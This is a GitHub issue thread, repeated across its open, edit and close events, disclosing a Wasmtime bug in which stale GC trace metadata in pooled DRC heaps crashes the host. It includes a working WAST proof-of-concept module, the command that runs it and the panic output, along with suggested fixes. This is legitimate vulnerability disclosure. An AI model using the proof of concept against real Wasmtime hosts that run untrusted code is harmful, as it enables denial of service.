qwaz opened issue #13417:
This bug is reachable only when Wasmtime runs Wasm GC with the pooling allocator enabled. Wasmtime's security page says "Bugs must affect a tier 1 platform or feature to be considered a security vulnerability." Since
gcis marked tier 2, we are directly reporting this bug on GitHub.Overview
DrcHeapcaches GC tracing metadata intrace_infos, keyed byVMSharedTypeIndex. When a pooled DRC heap is detached, it intentionally preserves that cache because the heap will only be reused with the sameEngine(described in code comment). However, the same-engine assumption is not sufficient: when a module'sTypeCollectionis dropped, Wasmtime unregisters its rec groups and returns their shared type-index slab entries to the registry. A later module on the sameEnginecan then assign the sameVMSharedTypeIndexto a different GC type. If that happens,DrcHeap::ensure_trace_infosees the stale cache entry and does not rebuild the tracing metadata for the new layout.DRC relies on this metadata while tracing outgoing references before deallocating an object whose reference count reached zero. Reusing metadata from an older, larger struct for a newer, smaller struct breaks the invariant that cached GC-reference offsets describe the current type bound to the shared index. The current implementation detects the mismatch when
VMGcObjectData::read_podreads beyond the new object's data and panics without of bounds field, aborting the host process. This demonstrates an execution-time denial of service with the default DRC collector; it does not demonstrate host memory unsafety or sandbox escape.Security impact
This bug only affects targets with GC and the pooling allocator enabled that execute untrusted programs. A quick GitHub search didn't reveal any important targets that operate on this configuration.
Demonstration
Run:
wasmtime wast -W gc=y -O pooling-allocator=y poc.wast;; This PoC is intended for the `wasmtime wast` CLI. The `thread` directive is ;; a WAST-harness directive that creates a second Store on the same Engine. (module) (thread $old (module ;; Register stale trace metadata for a large struct whose final field is a ;; GC reference. The field offset is valid for this type, but not for the ;; smaller type instantiated after this thread's Store is dropped. (type $old (struct (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field anyref))) (global (ref null $old) (struct.new $old (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (ref.null any))))) (wait $old) (module (type $new (struct (field (mut i32)))) (global $g (mut (ref null $new)) (struct.new $new (i32.const 1))) (func (export "trigger") ;; Overwriting the global makes DRC decrement and deallocate the old value, ;; consuming the stale trace metadata without forcing an explicit GC. (global.set $g (ref.null $new)))) (invoke "trigger")The first WAST
threaddirective is a PoC mechanism, not a requirement for triggering the bug. It was used for creating a childStoreon the sameEngine, but there are other ways to build a similar construct. When the threat executes, DRC registers trace metadata for the type in the child store's pooled heap. When(wait $old)completes, the child store is dropped and the pooled DRC heap is returned with itstrace_infosmap intact.The second module instantiates after the child store has been dropped. Its small scalar-only struct receives the recycled
VMSharedTypeIndex, and the main store reuses the pooled DRC heap. The trigger overwrites a mutable global that holds the new object, so DRC decrements and deallocates the old global value. During deallocation, the stale large-type GC-reference field offset is read from the small object's data viaVMGcObjectData::read_u32, which panics without of bounds field.Output
$ wasmtime wast -W gc=y -O pooling-allocator=y poc.wast thread 'main' (2176) panicked at crates/wasmtime/src/runtime/vm/gc/enabled/data.rs:137:48: out of bounds field note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace zsh: IOT instruction (core dumped) wasmtime wast -W gc=y -O pooling-allocator=yEnvironment
$ lsb_release -a Distributor ID: Ubuntu Description: Ubuntu 26.04 LTS Release: 26.04 Codename: resolute $ wasmtime --version wasmtime 44.0.1 (f302ebd6b 2026-04-30)Data flow trace
Bug path: stale trace metadata survives pooled-heap reuse
DrcHeap::ensure_trace_info/DrcHeap::insert_new_trace_info→DrcHeap::detach
DrcHeap::ensure_trace_inforeturns immediately on aVMSharedTypeIndexcache hit. On a miss,DrcHeap::insert_new_trace_inforeads the current GC layout from the engine and stores struct GC-reference offsets under that index.
DrcHeap::detachpreservestrace_infoswhen a pooled heap is detached for reuse. The comment assumes same-engine reuse means the tracing information remains valid.Bug path: the type registry can recycle the cache key
TypeCollection::drop→TypeRegistryInner::unregister_type_collection→TypeRegistryInner::remove_entry_impl→TypeRegistryInner::remove_entry_types/Slab::dealloc→TypeRegistryInner::assign_shared_type_indices/Slab::alloc
Dropping a
TypeCollectionunregisters its rec groups. When a rec group's registration count reaches zero, the registry removes the entry and deallocates each shared type-index slab entry.Later type registration obtains
VMSharedTypeIndexvalues from the same slab.Slab::try_alloc_indexprefers the free list, so a newly registered, different GC type can receive the old index.Recommendation
Possible mitigations for this specific pattern include:
- Clear or invalidate DRC
trace_infoswhen a pooled heap is detached or reassigned.- Key cached trace metadata by a non-recycled type identity, not only
VMSharedTypeIndex.- Revalidate cached entries in
ensure_trace_infoagainst the currentTypeRegistrylayout before reuse.Any change should preserve intended same-engine heap reuse while preventing stale metadata from surviving type-index recycling.
The initial discovery was made by AI. All technical claims have been reviewed and revised by human experts.
Reporting on behalf of Autonomous Code Security (ACS) team at Microsoft.
qwaz added the bug label to Issue #13417.
qwaz edited issue #13417:
This bug is reachable only when Wasmtime runs Wasm GC with the pooling allocator enabled. Wasmtime's security page says "Bugs must affect a tier 1 platform or feature to be considered a security vulnerability." Since
gcis marked tier 2, we are directly reporting this bug on GitHub.Overview
DrcHeapcaches GC tracing metadata intrace_infos, keyed byVMSharedTypeIndex. When a pooled DRC heap is detached, it intentionally preserves that cache because the heap will only be reused with the sameEngine(described in code comment). However, the same-engine assumption is not sufficient: when a module'sTypeCollectionis dropped, Wasmtime unregisters its rec groups and returns their shared type-index slab entries to the registry. A later module on the sameEnginecan then assign the sameVMSharedTypeIndexto a different GC type. If that happens,DrcHeap::ensure_trace_infosees the stale cache entry and does not rebuild the tracing metadata for the new layout.DRC relies on this metadata while tracing outgoing references before deallocating an object whose reference count reached zero. Reusing metadata from an older, larger struct for a newer, smaller struct breaks the invariant that cached GC-reference offsets describe the current type bound to the shared index. The current implementation detects the mismatch when
VMGcObjectData::read_podreads beyond the new object's data and panics without of bounds field, aborting the host process. This demonstrates an execution-time denial of service with the default DRC collector; it does not demonstrate host memory unsafety or sandbox escape.Security impact
This bug only affects targets with GC and the pooling allocator enabled that execute untrusted programs. A quick GitHub search didn't reveal any important targets that operate on this configuration.
Demonstration
Run:
wasmtime wast -W gc=y -O pooling-allocator=y poc.wast;; This PoC is intended for the `wasmtime wast` CLI. The `thread` directive is ;; a WAST-harness directive that creates a second Store on the same Engine. (module) (thread $old (module ;; Register stale trace metadata for a large struct whose final field is a ;; GC reference. The field offset is valid for this type, but not for the ;; smaller type instantiated after this thread's Store is dropped. (type $old (struct (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field anyref))) (global (ref null $old) (struct.new $old (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (ref.null any))))) (wait $old) (module (type $new (struct (field (mut i32)))) (global $g (mut (ref null $new)) (struct.new $new (i32.const 1))) (func (export "trigger") ;; Overwriting the global makes DRC decrement and deallocate the old value, ;; consuming the stale trace metadata without forcing an explicit GC. (global.set $g (ref.null $new)))) (invoke "trigger")The first WAST
threaddirective is a PoC mechanism, not a requirement for triggering the bug. It was used for creating a childStoreon the sameEngine, but there are other ways to build a similar construct. When the thread executes, DRC registers trace metadata for the type in the child store's pooled heap. When(wait $old)completes, the child store is dropped and the pooled DRC heap is returned with itstrace_infosmap intact.The second module instantiates after the child store has been dropped. Its small scalar-only struct receives the recycled
VMSharedTypeIndex, and the main store reuses the pooled DRC heap. The trigger overwrites a mutable global that holds the new object, so DRC decrements and deallocates the old global value. During deallocation, the stale large-type GC-reference field offset is read from the small object's data viaVMGcObjectData::read_u32, which panics without of bounds field.Output
$ wasmtime wast -W gc=y -O pooling-allocator=y poc.wast thread 'main' (2176) panicked at crates/wasmtime/src/runtime/vm/gc/enabled/data.rs:137:48: out of bounds field note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace zsh: IOT instruction (core dumped) wasmtime wast -W gc=y -O pooling-allocator=yEnvironment
$ lsb_release -a Distributor ID: Ubuntu Description: Ubuntu 26.04 LTS Release: 26.04 Codename: resolute $ wasmtime --version wasmtime 44.0.1 (f302ebd6b 2026-04-30)Data flow trace
Bug path: stale trace metadata survives pooled-heap reuse
DrcHeap::ensure_trace_info/DrcHeap::insert_new_trace_info→DrcHeap::detach
DrcHeap::ensure_trace_inforeturns immediately on aVMSharedTypeIndexcache hit. On a miss,DrcHeap::insert_new_trace_inforeads the current GC layout from the engine and stores struct GC-reference offsets under that index.
DrcHeap::detachpreservestrace_infoswhen a pooled heap is detached for reuse. The comment assumes same-engine reuse means the tracing information remains valid.Bug path: the type registry can recycle the cache key
TypeCollection::drop→TypeRegistryInner::unregister_type_collection→TypeRegistryInner::remove_entry_impl→TypeRegistryInner::remove_entry_types/Slab::dealloc→TypeRegistryInner::assign_shared_type_indices/Slab::alloc
Dropping a
TypeCollectionunregisters its rec groups. When a rec group's registration count reaches zero, the registry removes the entry and deallocates each shared type-index slab entry.Later type registration obtains
VMSharedTypeIndexvalues from the same slab.Slab::try_alloc_indexprefers the free list, so a newly registered, different GC type can receive the old index.Recommendation
Possible mitigations for this specific pattern include:
- Clear or invalidate DRC
trace_infoswhen a pooled heap is detached or reassigned.- Key cached trace metadata by a non-recycled type identity, not only
VMSharedTypeIndex.- Revalidate cached entries in
ensure_trace_infoagainst the currentTypeRegistrylayout before reuse.Any change should preserve intended same-engine heap reuse while preventing stale metadata from surviving type-index recycling.
The initial discovery was made by AI. All technical claims have been reviewed and revised by human experts.
Reporting on behalf of Autonomous Code Security (ACS) team at Microsoft.
fitzgen assigned fitzgen to issue #13417.
fitzgen added the wasm-proposal:gc label to Issue #13417.
fitzgen commented on issue #13417:
Thanks for the bug report and thanks for double checking the security policy before reporting publicly!
fitzgen closed issue #13417:
This bug is reachable only when Wasmtime runs Wasm GC with the pooling allocator enabled. Wasmtime's security page says "Bugs must affect a tier 1 platform or feature to be considered a security vulnerability." Since
gcis marked tier 2, we are directly reporting this bug on GitHub.Overview
DrcHeapcaches GC tracing metadata intrace_infos, keyed byVMSharedTypeIndex. When a pooled DRC heap is detached, it intentionally preserves that cache because the heap will only be reused with the sameEngine(described in code comment). However, the same-engine assumption is not sufficient: when a module'sTypeCollectionis dropped, Wasmtime unregisters its rec groups and returns their shared type-index slab entries to the registry. A later module on the sameEnginecan then assign the sameVMSharedTypeIndexto a different GC type. If that happens,DrcHeap::ensure_trace_infosees the stale cache entry and does not rebuild the tracing metadata for the new layout.DRC relies on this metadata while tracing outgoing references before deallocating an object whose reference count reached zero. Reusing metadata from an older, larger struct for a newer, smaller struct breaks the invariant that cached GC-reference offsets describe the current type bound to the shared index. The current implementation detects the mismatch when
VMGcObjectData::read_podreads beyond the new object's data and panics without of bounds field, aborting the host process. This demonstrates an execution-time denial of service with the default DRC collector; it does not demonstrate host memory unsafety or sandbox escape.Security impact
This bug only affects targets with GC and the pooling allocator enabled that execute untrusted programs. A quick GitHub search didn't reveal any important targets that operate on this configuration.
Demonstration
Run:
wasmtime wast -W gc=y -O pooling-allocator=y poc.wast;; This PoC is intended for the `wasmtime wast` CLI. The `thread` directive is ;; a WAST-harness directive that creates a second Store on the same Engine. (module) (thread $old (module ;; Register stale trace metadata for a large struct whose final field is a ;; GC reference. The field offset is valid for this type, but not for the ;; smaller type instantiated after this thread's Store is dropped. (type $old (struct (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field i64) (field anyref))) (global (ref null $old) (struct.new $old (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (i64.const 0) (ref.null any))))) (wait $old) (module (type $new (struct (field (mut i32)))) (global $g (mut (ref null $new)) (struct.new $new (i32.const 1))) (func (export "trigger") ;; Overwriting the global makes DRC decrement and deallocate the old value, ;; consuming the stale trace metadata without forcing an explicit GC. (global.set $g (ref.null $new)))) (invoke "trigger")The first WAST
threaddirective is a PoC mechanism, not a requirement for triggering the bug. It was used for creating a childStoreon the sameEngine, but there are other ways to build a similar construct. When the thread executes, DRC registers trace metadata for the type in the child store's pooled heap. When(wait $old)completes, the child store is dropped and the pooled DRC heap is returned with itstrace_infosmap intact.The second module instantiates after the child store has been dropped. Its small scalar-only struct receives the recycled
VMSharedTypeIndex, and the main store reuses the pooled DRC heap. The trigger overwrites a mutable global that holds the new object, so DRC decrements and deallocates the old global value. During deallocation, the stale large-type GC-reference field offset is read from the small object's data viaVMGcObjectData::read_u32, which panics without of bounds field.Output
$ wasmtime wast -W gc=y -O pooling-allocator=y poc.wast thread 'main' (2176) panicked at crates/wasmtime/src/runtime/vm/gc/enabled/data.rs:137:48: out of bounds field note: run with `RUST_BACKTRACE=1` environment variable to display a backtrace zsh: IOT instruction (core dumped) wasmtime wast -W gc=y -O pooling-allocator=yEnvironment
$ lsb_release -a Distributor ID: Ubuntu Description: Ubuntu 26.04 LTS Release: 26.04 Codename: resolute $ wasmtime --version wasmtime 44.0.1 (f302ebd6b 2026-04-30)Data flow trace
Bug path: stale trace metadata survives pooled-heap reuse
DrcHeap::ensure_trace_info/DrcHeap::insert_new_trace_info→DrcHeap::detach
DrcHeap::ensure_trace_inforeturns immediately on aVMSharedTypeIndexcache hit. On a miss,DrcHeap::insert_new_trace_inforeads the current GC layout from the engine and stores struct GC-reference offsets under that index.
DrcHeap::detachpreservestrace_infoswhen a pooled heap is detached for reuse. The comment assumes same-engine reuse means the tracing information remains valid.Bug path: the type registry can recycle the cache key
TypeCollection::drop→TypeRegistryInner::unregister_type_collection→TypeRegistryInner::remove_entry_impl→TypeRegistryInner::remove_entry_types/Slab::dealloc→TypeRegistryInner::assign_shared_type_indices/Slab::alloc
Dropping a
TypeCollectionunregisters its rec groups. When a rec group's registration count reaches zero, the registry removes the entry and deallocates each shared type-index slab entry.Later type registration obtains
VMSharedTypeIndexvalues from the same slab.Slab::try_alloc_indexprefers the free list, so a newly registered, different GC type can receive the old index.Recommendation
Possible mitigations for this specific pattern include:
- Clear or invalidate DRC
trace_infoswhen a pooled heap is detached or reassigned.- Key cached trace metadata by a non-recycled type identity, not only
VMSharedTypeIndex.- Revalidate cached entries in
ensure_trace_infoagainst the currentTypeRegistrylayout before reuse.Any change should preserve intended same-engine heap reuse while preventing stale metadata from surviving type-index recycling.
The initial discovery was made by AI. All technical claims have been reviewed and revised by human experts.
Reporting on behalf of Autonomous Code Security (ACS) team at Microsoft.
Last updated: Jun 01 2026 at 09:49 UTC